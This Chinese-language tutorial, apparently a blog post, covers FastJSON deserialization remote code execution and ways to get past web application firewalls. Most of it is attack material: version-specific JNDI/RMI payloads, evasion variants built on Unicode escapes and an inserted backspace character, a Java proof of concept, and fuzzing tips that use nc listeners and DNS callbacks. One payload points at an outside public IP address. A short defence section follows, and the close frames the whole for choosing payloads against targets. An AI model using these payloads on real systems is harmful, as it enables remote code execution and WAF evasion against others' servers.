某json 绕墙的Tips
字数 896 2025-08-18 11:35:40
FastJSON 反序列化漏洞绕过技巧详解
1. FastJSON 漏洞概述
FastJSON 是阿里巴巴开源的一个高性能 JSON 处理库,但在其历史版本中存在多个反序列化漏洞,攻击者可以通过精心构造的 JSON 数据实现远程代码执行。
2. 已知公开的 FastJSON 漏洞 Payload
以下是不同 FastJSON 版本中已知的利用 Payload:
// 基础 Payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
// 1.2.42 版本绕过
{"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
// 1.2.25-1.2.43 版本绕过
{"@type":"[com.sun.rowset.RowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
// 其他变种
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://127.0.0.1:1099/Exploit"} // 1.2.60
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://127.0.0.1:1099/Exploit"} // 1.2.60
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"rmi://127.0.0.1:1099/Exploit"} // 1.2.61
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"rmi://localhost:1099/Exploit"} // 1.2.62
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"rmi://localhost:1099/Exploit"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"rmi://localhost:1099/Exploit"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"UserTransaction":"rmi://localhost:1099/Exploit"}}
3. WAF 绕过技巧
3.1 基础绕过方法
-
Unicode 编码绕过:
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","prefix":"rmi://111.231.17.208:3888"} -
特殊字符插入:
通过 Fuzz 测试发现可以在@type后的冒号前后插入特殊字符实现绕过:{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}
3.2 绕过原理分析
绕过点位于 FastJSON 的 skipWhitespace 方法(com.alibaba.fastjson.parser.JSONLexerBase 类中),该方法会跳过特定的空白字符:
public void skipWhitespace() {
for (;;) {
if (ch == ' ' || ch == '\n' || ch == '\r' || ch == '\t' || ch == '\f' || ch == '\b') {
next();
} else {
break;
}
}
}
其中 \b (退格符) 是被该方法识别并跳过的空白字符之一,因此可以插入到关键位置实现绕过。
3.3 Fuzz 测试方法
- 构建一个带 UI 界面的 Fuzz 工具,插入各种脏字符进行测试
- 使用无回显的命令执行验证方式(如监听 nc)
- 观察 FastJSON 是否对外发起 DNS 请求来判断漏洞是否存在
4. 漏洞验证环境搭建
4.1 依赖配置
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
4.2 测试代码
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class exp {
public static void main(String[] args){
String poc = "{\"@type\":\\b\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://10.251.0.111:9999\",\"autoCommit\":true}";
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}
5. 防御建议
- 升级到 FastJSON 最新安全版本
- 禁用
autoType功能:ParserConfig.getGlobalInstance().setAutoTypeSupport(false); - 使用白名单机制限制反序列化类
- WAF 规则应覆盖各种变形 Payload,包括:
- Unicode 编码变种
- 特殊字符插入变种
- 类名混淆变种
6. 参考资源
- FastJson 反序列化学习 - lmxspace
- 先知社区相关技术文章
- Vulhub 漏洞环境
通过以上方法,可以有效地测试和验证 FastJSON 反序列化漏洞,并了解如何绕过常见的 WAF 防护规则。在实际渗透测试中,应根据目标环境的具体情况选择合适的 Payload 和绕过方法。